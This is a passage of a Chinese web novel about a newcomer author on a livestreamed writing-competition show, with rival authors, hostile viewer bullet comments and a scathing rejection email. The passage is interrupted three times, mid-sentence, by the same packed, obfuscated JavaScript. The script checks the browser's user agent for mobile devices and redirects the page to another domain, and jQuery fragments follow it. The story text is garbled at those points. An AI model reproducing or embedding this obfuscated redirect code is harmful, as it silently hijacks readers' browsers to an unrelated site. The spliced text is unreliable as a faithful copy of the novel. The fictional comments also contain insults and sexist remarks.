秦段默默瞥了她两眼,发现宋之河发呆的时候会显得有些呆愣,和平时果决凌厉的形象大相径庭,像一只十分苦恼的委屈小鲸鱼。不少屏幕前的观众也发现了,纷纷截图。估计过几天就会有一堆新表情包出来了。
反观一旁的沈淮,他没有选择节目组的早餐,拿出自己带来的冰咖啡直接闷下肚,就坐在桌前看书了。整个餐桌上只有秦段一个人在干饭。她没心没肺地吃,丝毫没有觉得半分紧迫。
宋之河这才回过神,见秦段心情大好的样子,眉头皱起。
不是吧?怎么有人能够轻松成这样?
在秦段准备呈第二碗粥时,宋之河总算是忍不住发问,她扬起自己那张美艳的脸,以一种不解的姿态问秦段:“你已经想出怎么写了?”
她这游刃有余的模样,让宋之河心里突然泛起嘀咕——难不成她还真是什么天才?
这么自信?
秦段没想到宋之河居然会和她搭话,立马放下自己准备干饭的筷子,准备着自己的措辞。她生怕自己哪句话说错了得罪宋之河,好吧,她好像一开始就得罪透了。
宋之河个人的书粉,还有无数想要自家哥哥姐姐出演她的改编剧的各家粉丝,现在估计恨不得把她撕烂!
于是秦段谦逊道:“没有的宋姐,我只是爱吃饭,从小到大什么饭都爱吃。”
弹幕顿时一片笑声:
【秦段:啊我不造啊,节目组包饭我就来了?】
【莫名喜感为什么......】
【要不是某些人手气烂,我家也不用吃不下饭,她还有脸吃起来了?】
【宋之河宋之河宋之河!!!】
【别吵了,求早餐链接】
【隔壁我家绾绾已经开写了,秒你们家“抄人强”一大截哈。】
【词牌名缝合怪别叫了可以吗?】
【女的就是聒噪,反正女作者写来写去都是谈恋爱的弱智文,为了这种东西吵,你们真有意思。】
【是,比不上你家十三个男主能凑一副《最后的晚餐》,每个月都可以过一次清明节小蝻人们也是有福了哈。要我说某些人写不出感情戏就直说,还标榜什么大男主无cp,菜就是菜。】
【骂林绾的别忘了你们推出圈神文谁写的,某些人现在举着的应援幅都是绾绾写的吧?偷国人和偷粉锁死哈。】
【纯路人,能不能安静看直播......】
【你装你母的理中客?婶坏粉一巴掌,宋腿毛一巴掌,你更是两巴掌。】
秦段并不知道就因为自己说了一句话,弹幕已经发散成了多方混战。
但这档节目本身就存了一种“养蛊”的念头,这才是第一期,弹幕都算是收敛了。
她简直不敢想象等明星嘉宾来,这档节目会混乱成什么样子。演员粉丝不满意剧本,作者粉丝不满意演技,又是一轮旷日持久大战。
听见秦段的话,一旁的沈淮默默把自己不爱吃的饭菜往秦段这里推了推,秦段还说了句谢谢,看得宋之河一阵无语。
沈淮就算了,他们圈子里都知道沈淮作息混乱,写文全靠灵感,每天都比读者提早半小时知道文章内容,问他有没有主意等于问一条鱼怎么骑自行车。但秦段是怎么心大到连干两碗粥的?她家里人是不给她吃饭吗?
她从没听说过她这号人,但是一些和秦段一样自命不凡的新人她倒是见过不少。
眼高手低,嫉世愤俗。从小也许被家人夸过几句文笔好,便觉得所有欣赏不了她文章的人都是庸人。
她一向讨厌这种人。
真正有能力的作者,即使没人看,也不会哗众取宠。她最近就在观察一个名不见经传的小作者。
宋之河清空脑中所想,碍于摄像机在场,她叹了口气,只是颇为哀怨冲秦段冷森道:“小秦,你手气够差的。”
秦段还真没办法否认这一点,她的运气从小到大都很烂。于是只能捧着牛奶尴尬的笑。
宋之河:......
“我不吃了,你们继续吃吧。”
宋之河起身,兴致恹恹地挥了挥手,回了房间。
饭桌上又只剩下秦段和沈淮两个人,一阵头皮发麻的尴尬感涌上她的心头,秦段连饭都吃不下了,也学着宋之河说道:“沈老师,我也先回房间了。”
“一起。”
说罢,沈淮将咖啡一饮而尽,他拿起椅背上的外套。秦段感受到一个高高瘦瘦的人影就站在她的身后,不紧不慢地和她一起往房间走。
一路上是死一般寂静。她感到了一种无形的压力。
有一种被全方位监视的错觉。
也许是看出她现在恨不得抠出一座芭比城堡,沈淮率先开口,沉沉问道:“待会你补觉吗?”
……?!
他是猫吗一天睡20个小时?怎么和宋之河一样,都爱睡觉?
原来成为名作者的代价是牺牲作息吗?!
秦段脚步乱了,下意识顿在沈淮身前,本想要说些什么,可沈淮一个没注意,不小心撞到了她的后背,两人都毫无防备——秦段只觉得自己的身体陡然之下失去平衡!
沈淮浅褐色的眼瞳一怔,他下意识伸出手把秦段往身前拽,正巧——“吱呀”一声,隔壁的房门打开。
秦段只感到一股淡淡的书卷气息在她鼻尖萦绕,鼻梁磕到对方的锁骨,传来一阵剧痛!她连忙把沈淮给推开!
太尴尬了!
沈淮朝后退了半步,掸了掸衬衫。
林绾目瞪口呆地目睹全程。
她揉了揉眼睛,眼神一边往摄像机那里瞟,用疑惑又暗含八卦的眼神在晕头转向的两个人身上游荡。她没忍住道:“你们这是准备通过复刻小说经典剧情寻找灵感?”
林绾感慨。
秦段还没搞清楚现在是个什么情况,只听沈淮那略带疲惫的声音响起:“可能是我没睡醒,不小心撞到她了。”
“没撞疼吧?”
林绾眨了眨眼,伸出手贴了贴秦段的脑门,轻声问。
秦段摇头,叹了口气,心中却一阵操蛋。她低眉顺眼默默道:“抱歉,耽误沈老师您睡觉了。”
“沈淮,你这么早就去睡觉吗?”林绾指了指自己手表。上面的时间显示8:30分,怎么看都不是一个适合正常人类入睡的时间点。
“嗯。”沈淮点点头,他冲林绾补充道:“我一般喝咖啡会犯困,所以每天早晨会喝一杯,方便我补觉。”
林绾又摸了摸秦段的脑袋,她皱眉看向沈淮:“你会不会是咖啡因过敏?”
正常人喝咖啡会昏睡吗?
沈淮的面上闪过一抹疑惑,他没有继续去解释什么,只是一言不发朝卧室走去,只给两人留下一个背影。秦段脑门也不怎么痛了,抬头一看,这才发现林绾还在关切地看向她。
她的视线有一种母爱,让秦段几乎错觉她在妈妈的怀里。
此时,房间里传来了宋之河的略显崩溃的喊声:“什么破题目——我恨你们的抽象!”
说时迟那时快,林绾一把把门给盖上,使得宋之河那便秘一般的声音隔绝在了房间内。秦段瞪大眼睛,扶了扶自己的眼镜,眼神中满是不可置信地低声问林绾:“宋之河这是......”
刚刚是谁说话?是门吗?
“没事,人都需要发泄的嘛。”
林绾接受度很良好,满脸写着“这多大事啊”。
“刚刚她在办公桌前薅掉不少头发,还打开窗户说是要呼吸新鲜空气,要不是我拦着她,她就要一边喊着‘上辈子杀人这辈子写文’一边把窗外树上的叶子薅秃了。”
说着说着,她可能自己都觉得好笑,两眼弯弯。
“你不是和她一个房间吗?接下来可以亲眼见证一下?”
秦段:......画面太美不敢看!
“...好。”秦段艰难地扯出一个笑,总感觉写小说写到最后没有不疯的,职业生涯真是一眼就望到头了。
林绾依旧牵着她的手,没有放下的打算。
秦段耳根一红,一时之间又有些紧张。这还是在节目里第一次有人主动亲近她。其实林绾对她的态度一直是另外三个人中最温和的,她刚到节目的时候就发现了。
她笑了笑,向她提出一个建议:
“要是想不出来选题的话,要不要和我去后花园逛一逛?”
*
这栋别墅的后花园很大,像是一个迷宫。无数美艳又叫不出名字的名贵花束被种在花园之中,让秦段站在这里都觉得自己有些自卑。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310524|167275||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可林绾站在这里却显得就像是站在自己家一样,还颇有兴致地向她介绍着她叫不出名字的花。
她很懂花的花语,说的秦段一愣一愣的。
林绾人如她笔下的文章,又温柔又让人不免沦陷,秦段毫不怀疑每一个认识林绾的人都会被她的个人魅力所迷倒。秦段在林绾拉着她逛了半小时后,终于悄悄问:“林老师......你不讨厌我吗?”
正在和一朵花试图沟通的林绾愣了一下,她柔情似水的眼眸闪了闪,笑着摇头。
“为什么要讨厌你?你一来这里,我就很喜欢你。”
喜欢她吗......秦段默默抓了一把自己的发尖,她没想到林绾会这样对她说。
林绾仰着头,看着不远处纷纷扬扬的一颗桃花树,她拉着她坐在长椅上,头也不转冲她道:“我不知道别的嘉宾的想法,但我很喜欢你微博上写的那段话,年轻人有这样的心性很好。”
“......您看了?”
“当然,我还收藏了呢。”
秦段如坐针毡,这里不止有林绾一个人,还有时刻跟随着他们的摄像师。她想要尽量规避微博的那件事。
那条微博骂了许多人,但是对林绾的挑刺倒是寥寥几句,这也许是她对她态度好的一方面原因吧,秦段想道。
她不想要当众解释微博不是她发的,也不希望秦琴再像她一样遭受谩骂攻击,而且提这件事多了只会让许多人觉得她热衷于炒作。于是秦段试图把话题转移开,想到秦琴曾经提过她一直想收自己镇圈太太实体亲签,秦段鼓起勇气从口袋里掏出一个小本子。
林绾凑近去看,发现只是一本很普通的空白本。
秦段扬起一个小弧度的笑:“您能给我签个名吗?我妹妹特别喜欢你。”
林绾接过笔的动作有些生疏,她的表情顿了顿。秦段的心提了起来,她会不会让林绾骑虎难下了?
“您要是不方便就算了......”“不会,我只是......”林绾打断了她的道歉,抿了抿唇。
最后,她呼出一口气,声音有些低:“我现在没资格替十五年前的自己签名,抱歉。”
秦段第一次听见这种论调,这种言论居然会出自林绾的口中,让她万分不解的同时有些说不出口的难受。
“林老师——”
“喊我绾绾姐吧,我称不上一句老师。”林绾微笑着摇摇头,将本子递给她。
见秦段呆愣在原地的表情十分有趣,林绾起了些逗弄她的心思,勾起一抹兴味的笑:“要不,你猜猜我多少岁?”
秦段握紧本子,她心里还在纠结该如何要到林绾的签名,就听见这没头没脑的提问。这种问年龄的提问,秦段自然要报一个小一点的数字,可似乎是看穿了她的想法,林绾戳了戳她的脸。
“猜对了的话我送你一本以前我写的实体书怎么样?”
秦段:!!!
秦段顿时起劲了,她毫不犹豫道:“二十五!”
林绾摇摇头:“不对哦。”
秦段皱眉,她仔细观察林绾的装扮和妆容,她明明就是一副刚出社会没多少年的模样,青涩又温柔。
“我今年三十五岁了,孩子都快上高中了。”
“所以我看见你,就像是看见自己的孩子一样——不,像是看见了年轻的自己。”
“意气风发,多好啊。”
秦段愣在原地,她的大脑被这重磅消息砸的晕头转向。即使林绾还在说话,她却一个字都听不见了。
林绾说什么?她说什么!?
不光是秦段,弹幕上许多人也震惊了:
【不是,等等!!!我女神结婚生孩子了??以后不会封笔吧!】
【啊啊啊我上学的时候看绾绾的文,现在我在读研,结果绾绾都结婚生娃了】
【补药啊,女神我失恋了呜呜.....】
【我现在红豆吃多了有点相思,这一定是假的......】
【祝福!】
【女神,我宁愿你是抄袭被锤,我愿意为你征战某博都不愿意给你随份子。】
【林绾是不是一孕傻三年,秦段哪里和她年轻时候像了?难道她年轻的时候也目无尊长,攻击前辈?】
【宋之河宋之河宋之河我爱你——】
【谁是为了宋之河来的扣1】
【11111111111】
.......
秦段终于缓过劲来,声音颤抖:“绾绾姐,你说真的?”
林绾岔开话题,撩了一下自己鬓边碎发:“不聊我了,聊聊你吧。”
“节目组给的题目,你有想法了吗?”
5. 她的结局
完全没办法冷静下来。林绾温柔的笑容落在她的眼中却无异于一根尖刺,她根本没办法想象,不,她为什么没办法想象呢?也许是因为文字的滤镜,所以林绾在她心里一直都是十九、二十岁的模样?
那个写过“那一年,你在朝阳下朝我奔来,我在余晖中与你告别。后来,飞机能抵达毕业后相隔千里的城市,却将我们的时差永远定格在十二小时。于是每一天的清晨,我就会想起你。”“朝霞与夕阳成双入对,所以我们注定天生一对”的林绾,原来已经毕业这么多年了。
她下意识认为林绾还是和她的文一样,又有些酸涩又带着少女的懵懂幻想,那样温柔唯美,又美丽。让人毫不怀疑她能写出令人感动的文字出来。
她的喉头有些干涩,有些局促地扶了扶自己的眼镜,不知该如何开口。
林绾结婚生娃这种重量级的新闻居然是被她阴差阳错问出来的......她都不敢想象现在弹幕会有多么疯狂。可是仔细想想,林绾最新的一篇文也是十年前随笔写下的,这么多年间,她不结婚才奇怪吧?
“怎么了,怎么不说话?”
一只白皙修长的手映入她的眼帘,那只手悄悄握住了她因为紧张而缩成拳的手。秦段抬眼便望见林绾那关切之中又有些尴尬的表情。她连忙开口打断这种奇怪的氛围:“不,我只是有些太惊讶了。”
“为什么?”
“可能因为您的文字让我一直觉得我们是同一个年纪的朋友,就像是一个多年好友隐婚有孩子一样......不太适应。”
林绾愣了愣,很快浅笑一下。
“也是。”
说完这句话后,林绾似乎有些沉默,她望着不远处纷纷扬扬的桃花树,眼底也流露出几分平和的意味来。秦段坐在她的身边,明明周围是摄像机,可她似乎只能感觉到林绾那平稳的呼吸声。
她是不是说错话了......?
弹幕却似乎找到了合理的发泄口。那些惊讶,愤怒,崩溃,不解,全都朝她一拥而上,化作最为猛烈的攻击。
【阴阳怪气谁呢?】
【人家结婚了,又不是死了,秦姓某人那表情就差奔丧了吧?】
【秦段能不能别说话了,听得我一肚子无名火。】
【谁和她朋友了?这人疯了吧......就是客气一下还真蹬鼻子上脸!】
【嫉妒绾绾三十五岁比某些自称没毕业的好看罢了】
【女神你是真的火了,以后一定要注意言行举止,前面忘了后面忘了,反正离糊咖远点。】
......
“我还没想好写什么,其实我没觉得自己能够挺过第一期。大家写的都很好,比我好太多了,我摆一摆烂也没关系?”
秦段蓦然开口,顺带用手摘下她大腿上落下的一片树叶。林绾呼出一口气,重新露出一个有些意外的表情。她微微挑眉,说道:“我还记得你的豪情壮志呢,这还没开始就准备退缩?”
“说起来,我们大家都对你一无所知,不如趁现在来宣传宣传你自己的作品?”
秦段打了一个激灵。
她连连摆手,语气诚恳:“我写的东西都没什么好看的,我的作品不太符合市场潮流,也就是自娱自乐罢了。”
“不用好奇。”
就现在这种情况,马甲是上午扒的,书是下午封的,人是晚上走的。
“你这么一说,我反而更好奇了呢。”
林绾打趣她。
弹幕也飘过一长串问号:
【????】
【我请问谁要看了?hello?我放着几个大佬的文不吃,去淘屎?】
【不说我还没想到,一说我反而好奇了。】
【笑死,疑似新型推文手段哈,像是那种买了几百个推文号但根本起不来,于是作者破防觉得所有人要害她,其实殊不知自己写的就是一坨。】
【楼上好会说】
【破防了,小作者没惹你,我现在突然共情秦段了......】
【哈哈,零人爱看你的烂文哈,之前还拉踩我家沈淮?真以为男主文没人了?】
秦段又和林绾聊了一些有的没的,最后林绾提出要加她一个好友。秦段自然是欣然同意,她以前也是林绾文章的受众之一,算得上半个粉丝!如今她主动提出加好友,她心情有些雀跃。
但她的脸上依旧是一副淡淡的神色,偶尔会眯一眯眼睛,没人知道她的内心这么丰富。
林绾和她在后花园分别,说是要一个人去外面散散步。
看见林绾健康又活力满满的背影,秦段顿时对自己长期写文的未来充满了希望。
*
才怪。
她回到房间,开门便觉得一阵寒意自脊椎升起。房间里寂静无声,窗帘被拉的结结实实,无端的冷意在初春时节遍布房间各处。她几乎怀疑这里是什么监狱。
“......你回来了。”
一道女声缓缓冒出。
宋之河沉默地坐在办公桌前,一言不发地盯着面前的笔记本,她的面庞被笔记本的白光照亮。而在笔记本旁散落的是密密麻麻布满字迹的草稿纸。房间内只有监控,没有摄影师,否则秦段毫不怀疑摄影师会被宋之河这种表现吓得半死!
她像是被抽干了浑身的精气,靠在椅背上,仰着头却闭着眼。
“您还好吗......?”
秦段鼓起胆往宋之河身旁走去,她依旧在闭目养神,扯出一抹笑:“托你的福,我感觉自己年轻十岁。”
——“像是回到高中写作文的时候一样。”
她突然睁开眼,身子往后一仰,像是起死回生!她大大方方给秦段展示自己的屏幕。秦段本想回避眼神,可电脑那一片白光实在是太过耀眼,那洁白的word文档竟然干净到没有一点墨水的字迹!
究竟是何种的绝望才能写出这样动人心魄的无字天书?秦段不敢细想!
宋之河重重吸了一口气,一个鲤鱼打挺坐起来把灯给打开,顿时房间亮堂不少——终于像是在阳间了。
秦段没忍住悄悄提醒宋之河:“宋老师,现在在录节目......”在读者面前,作者也是要面子的啊!宋之河保持这么多年形象不要啦!
也许是终于被在意到了,弹幕们纷纷从噤若寒蝉的氛围中缓过来:
【我不敢说话......太太精神状况好堪忧啊。】
【搞艺术的都是这样的,天才总是不被人理解的】
【节目组还我妈生快乐小河狸呜呜呜太太写不出来就去填坑换换大脑吧嘿嘿嘿】
【???】
【呵呵,都怪某人手气那么差】
【不是吧,这题目我觉得很简单啊?宋之河写不出来?笑死,这就是你们言情女王真实实力啊?】
【加一,不会文章都找人代笔的吧?】
【前面顶个二线炒作咖头像那位,自家正主没选上我家太太剧里男主就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310525|167275||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开始酸原著?举报引战了】
【其实有一说一,你们没人好奇秦段会写成什么样吗?我们对她一无所知!】
......
卡文的时候,人总是会十分有倾诉欲,宋之河破天荒地问她:“你觉得这个题目的隐藏含义会是什么?我废了十几版的稿子,却总觉得把握不住它真实想要表达的东西。”
秦段很懵啊。啊?这题目还有要表达的东西吗?她以为就是节目组随便看到一朵花,脑子一热写上去的。
“嗯......我觉得其实怎么写都可以?”
宋之河不甚苟同,皱起眉头。秦段开了个头,只好继续硬着头皮说下去:“我看过宋大你的文,我认为这个题目反而十分适合你。您写过的很火的几篇校园文,其实就很契合这个题目。”
“我的校园文?你说的是哪本?”宋之河抬眼,被秦段这么一说,脑海中浮现出好几个熟悉的画面来。
她写过起码四本校园爱情文学,因为这一类版权有段时间挺好卖,也不知道秦段说的是哪一本?
“都差不多。”
秦段言简意赅。
“就拿您写的第一本为例,您曾经写过出身贫苦的女主因为暗恋男主而考上了名校,男主却在大学爱上了另一个女生。女主经历了自我挣扎和足足三个月的旅行后最终选择放下曾经和男主的点滴过往,最终决定回乡建设。”
“哦,你说的这本?”宋之河有些意外,她写过很多本书,可秦段说的这一本却是她还未出名时写的一本四不像小说。
她自己都差点忘记过她写过一本这样的书,包括很多书粉都下意识把这本边角料排除在她的众多作品之外。她没想到秦段却把这本书了然于心。
“......虽然那本您没写完,但其实我看到那本书时,觉得女主就是那朵扎根在家乡,绽放不败的野雏花。”秦段的语速放缓,她感受到宋之河投向她有些诧异的目光。两人对视几眼,最终宋之河扑哧一声笑了。
她摆了摆手:“你以为这是阅读理解?紧扣道德观写出板正的东西来,在这里可不得分。”
“这里需要的不是上价值,而是——创意。”
宋之河单手撑住桌子,身子朝她这里前倾,长发搭在她的肩膀处泛着润泽的细光,她勾唇一笑,眼中冒出几分趣味,扬起下巴点了点秦段。
——“顺带一提,那本书的结局我不是没有写。”
她莫名其妙没头没尾来了这么一句,宋之河端起身旁的玻璃杯,细细抿了一口水,悠哉游哉地勾起一抹笑。秦段推了推眼镜,发现她看不清对方的脸,于是把窗帘一把扯开。
阳光洒在她的脸颊上,宋之河慵懒地吐出几个字:“女主死了。”
【???!】
【啊啊啊不会吧,我记得河狸不虐女啊?】
【啊我有印象了,那本书超级古早,七年前的书!】
【七年前的书也有岁月史官上价值啊,服了,别太季度。】
【秦段说的都是啥,来这里传播正能量来了?本来对她挺有兴趣的,现在没了。】
【额,宋之河好没礼貌。】
【额,小解解好会引战。】
当着广大网友的面,宋之河是一点没遮掩。不知道是真情流露,还是她已经红到不害怕任何质疑声,总之,秦段没有吱声。因为她知道宋之河这句话是在胡说。
毕竟,当年宋之河没出名时,她曾经和她讨论过这本书的结局。
6. 请假条
秦段默默坐在自己另一侧的办公桌前,打开节目组提供的电脑,摆出一副正襟危坐的模样出来,引得弹幕阵阵好奇。他们虽然一边骂秦段,但必须承认,他们同时对这个新人充满好奇。
她终于要开始动笔了吗?终于要展现自己真实的实力了吗?
秦段背后的监控冒着红光,仿佛有无数双眼睛黏在她的背后一般,可事实上节目组也考虑到了这一点,所以直播时他们每人的电脑内容都会被马赛克掉,为了给演员演绎那一天留下悬念,确保收视率不下跌。
【啊啊啊好好奇,谁能把我打晕到三天后?】
【节目组搞什么马赛克啊,服了】
【一个糊咖有什么值得期待的,不懂你们......】
【你们不会真以为她是什么被埋没的文曲星吧?在大大小小的文学集团搜刮下,我觉得咱们国内作者已经饱和了,真有才华的肯定都被挖走了,怎么可能突然冒出来这么一个名不见经传的“人才”?】
秦段看不见弹幕们,她正在构思该如何写这篇文章。首先,她要拿捏住读者的内心,在写之前给文章定下一个基调,是让人意难平,还是调动读者的肾上腺素。这对于一本成功的小说来说至关重要。
可以说,调动读者情绪远远比逻辑与意义要重要,但对于秦段来说,比这几者更重要的是——别和其余几人撞题材!
凭借她对于另外几人文风的了解,她大胆推测:沈淮会尝试不走寻常路,规避情感方面的短板;林绾会写be文学,但随着她的年龄增长,大概率不会再写校园类。至于宋之河么......秦段觉得她不会突破自己舒适圈,她的文字商业价值极高,有时候不是她想写什么就能写的。秦段大胆推测她会写暗恋拉扯。
秦段首先在草稿纸上把“悬疑”“恋爱”“校园”几个有可能的标签打了个叉,又为了保险起见,她又划掉了几个相似的标签。剩下来的题材寥寥无几,但秦段并不觉得头疼。
她早就说了,她是为了拿五十万的通告费,所以别人绞尽脑汁想创新,她只要随便写一写就行了,反正网民对她的实力都已经先入为主,她写的烂也不会有人觉得奇怪。事实上,她觉得自己现在已经失去了再次去竞争的勇气,她最大的梦想就是波澜不惊地活着。
于是一直苦思冥想的宋之河观察到秦段随随便便在草稿纸上划了几笔,就开始随意地刷手机看视频去了。
宋之河:???
她使劲眨了眨眼,差点以为自己看错。他们只有一天的时间理清思路,而后天之前就要交上不少于八千字的稿件,她都打算今天就开始挑灯夜战了,而秦段呢?她就看了两眼屏幕,难道大纲已经在心里了吗?!
秦段打了个哈欠,似乎意识到自己不能过于摆烂,终于放弃了自己的短视频。
宋之河刚准备舒一口气,只见秦段打开了通讯软件,开始聊天!宋之河大脑一瞬间凌乱。
不是,真准备开摆啊!
【我靠这姐画风和别人怎么不一样?】
【真的,刚从沈淮直播间过来,沈淮都从床上起来写大纲了......这人居然刷手机开始聊天?】
【哈哈哈估计是打不过开摆了,心态挺好。】
【节目组没泄题给她吧?】
【聊什么呢,让我康康(盯)】
秦段收到了一条邮件,是她上节目之前向清河文学投稿的经理人通知。她心头一跳,连忙点开和他的对话框。清河文学是少有的支持作者自荐的文学公司,她应聘的就是他们公司内的实习作者一职。
岗位工资不高,只有四千多一个月,可这么个岗位也不是好应聘的。公司要求创作者必须带上自己以往成绩和笔名,秦段又没办法暗示经理人其实她有过一本不错的历史改编剧——只是如今,那本书的作者栏写的不是她。于是她老老实实写上了目前在更新的那本文。
秦段深吸一口气,紧闭双眼,手指颤抖地点开给她的那封邮件。
【亲爱的作者,很遗憾通知您,经过经理部的综合评估,您与我司岗位存在较大差异......】
她的目光落在第一行时,心就死了一大半了。不过在知道结局后,她反倒能够大大方方直视这篇邮件了。
从第二行开始,就是经理人给她的非格式回复。这一次,她面临的就不是这么客气的话语了。
【to段段落落:
我不理解你想要表达什么。你的文笔很不错,开篇就把我震撼到了,然后呢?你情节安排就像是小学生一样!这行傻子都知道新人想出头最重要的就是“黄金三章”,我看你写的是面向女读者的,那你第一篇开头就应该写出女主的美貌形象,你光顾着推进剧情。起码一半读者看见你的女主不是倾国倾城就跑走了。写文不考虑市场,别告诉我你是要圆哪门子的“文学梦”。
我很失望,我第一章没看完就知道这本书注定不会被市场认可。你可能对自己有误区,觉得自己是那些大佬,所以一个劲铺垫世界观和埋伏笔,我看开头都能猜到你要写什么,很老套的玛丽苏文就没必要起那么高格调了哈。
还有,我话说的比较重,但是——你以为你是宋之河吗?
她写成什么样都有人买单,而你连历史成绩都没有,别学人家大神那种风格,这本书弃了吧别白费功夫。
不行就多看看剧,看一些爆火的剧,基本上那些剧的原著都很优秀,适合新人学习。但是别看前年很火的那部《不愿成仙》,那本纯粹因为原著好,电视剧拍得那么烂也能火。况且那位作者现在也灵气枯竭,自己都写不出那么有灵气的文字了,实在可惜。
新人脚踏实地比什么都实在,去好好学学套路咱们再讨论,这种垃圾就不要再发了。】
秦段觉得大脑似乎传来“嗡”的响声,她眼镜后的一双下垂眼瞪大,差一点被这个经理人的回复气炸!她投过许多简历,但只有这个经理人说话这么夹枪带棒。说她写的烂没问题,反正她被骂过很多次,可他为什么要把她和宋之河做对比?每个人的风格都不一样,为什么要拉踩?
这点就算了,可他接下来提的那部电视剧才让她原本尘封的痛苦记忆又历历在目。当年那部剧火的时候,她正是走投无路的时候。侄子上高中分不够,她父母就凑钱非要侄子去出国留学,一年二十五万的学费,她家出二十万。逞强之后发现自家没钱了,就提议让她退学回家嫁人,捞一笔彩礼。
而那部剧就是在她最落魄的时候,火遍大江南北。那个名叫“辞诏”的作者经此一事也同样大火。她直到那时才知道她的父母是如此希望榨干她最后一滴血。
所以,他一边说那本原著写的好,一边说她写的烂是什么意思?她活了几年之后难不成还人格分裂了?其实六年前她是第二人格夺舍抢过手机写的文,写完脑子就坏掉了所以越写越差?
秦段的大脑嗡嗡的,盯着这条短信半天,觉得自己好像是被骂了,又好像没有。
极端的愤怒和无语之下,她愤愤地决定今晚把存稿箱里的文掏出来!
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310526|167275||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
于是秦段开始在手机上码字。
弹幕完全不知道发生了什么,因为摄像头对于嘉宾的手机界面都会同样模糊,众人只能看见秦段的手在手机上打字出残影,就连一些宋之河的粉丝都觉得好奇。
另一边的宋之河揉了揉自己的太阳穴,她的大脑里已经有了一个大概故事雏形了,可要把它变成文字依旧需要大量的构思。
她写一会就得歇一会换换脑子。她的打字速度很慢,更新也慢,保质不保量。她抽空瞄了一眼秦段,才发现对方正在沉浸式玩手机。很好,她这下子是确实打算放弃挣扎了。
害怕同伴过得苦,更怕同伴开路虎。俗话说,一个人罚站会觉得惴惴不安,一旦有人在你的身边罚站,那心就稳稳放回了肚子里。
于是宋之河同样心安理得地也拿出手机。
她是准备换换脑子,和秦段这种绝望式摆烂不一样,她是有计划有节奏的卡ddl。驾轻就熟点开最近追更的一本书后,宋之河悄悄朝角落挪了挪,假装出一副认真查阅资料的模样来。弹幕顿时一片夸赞。
【我宝就是努力,嘿嘿可爱】
【查阅资料也萌萌的,期待河狸的小树苗建成~】
【宋之河宋之河宋之河宋之河......】
【优秀的人还更加努力,秦段直接退赛别浪费时间了行吗?】
......
宋之河是机缘巧合之下发现的这本《星际万人迷速成指南》,当时她刚躺在床上,就收到了基友发来的一条微信。
看见我请让我更新:【大狸子鱼,我发现有本书应该对你胃口,而且我估计你没看过这么糊的文!】
她很久一段时间不看文了,因为她现在很难从纯粹的读者视角看小说,总会下意识给作者挑刺。比如情节安排拖沓,文章错字漏字之类的,可等她点开这本书后,宋之河突然释怀了。
扑的这么彻底,也就没必要挑刺了。这个作者甚至没签约,赚不到一毛钱。
好多年没见过这么纯粹的文章了,不图钱也不图名,纯作者自己折磨自己。
她是怀着看乐子心态打开这本书的。
她的第一次惊讶是因为作者的文笔。不冗杂,不华丽,可是每一句话信息量都很大。在夹杂这么多信息量的同时,又同时以最短的字数描写出最详细的场景。她一打开,女主生活的环境便跃然纸上。
这样的文字怎么会没人喜欢?她耐心继续读下去。
她的第二次惊讶是因为作者的世界观设定。不同于她认识的很多作者喜欢在前三章将冲突极度剧烈化吸引读者,这个作者前几章重点聚焦在“女主”生活的世界上,虽然占据了近万字篇幅,但一个阶级森严,高度发达又极度蒙昧的世界跃然纸上。
最后一次惊讶,是她感叹于作者情节安排大胆。在世界观铺垫开来之后,她作为读者却亲眼见证了女主步步奢靡,灵魂也逐渐漂浮。她的身份越来越高贵,可身为读者却越来越心情复杂,总觉得作者似乎在憋个大的。
果不其然,她最新一次更新,更是吓她一跳。在秉持着主角不会死的先入为主下,宋之河完全没想到,这个作者中途换女主了。
而这时她才明白,原来这本书才刚刚开始。
每一次被作者戏耍,她都发誓不再碰这本书,可第二天却总想知道作者要憋出什么东西来。
所以这一次......
【您关注的作者更新啦!】
【更新了《请假条》】
7. 无妄之灾
【大狸子鱼申请进入“太太爆火剩余天数”群,等待管理员确认。】
【管理员已通过,请介绍一下自己吧!】
秦段发觉自己的读者群里似乎多了一个新人。那个新人加了群后,许多群友欢迎她,但她似乎是一个社恐人士,因此一直在潜水。秦段便也只是扫了一下,没有过分关注这个小插曲。
现在是下午时间四点整,许多网友看了一整日的直播觉得有些疲惫了,因此弹幕少了许多。秦段观察到宋之河那一侧已经进入了工作状态,她戴上耳机紧皱眉头,纤长的手指在键盘上游走,似乎一切都了然于心。
秦段决定出去走走,给宋之河留一些个人空间。
......
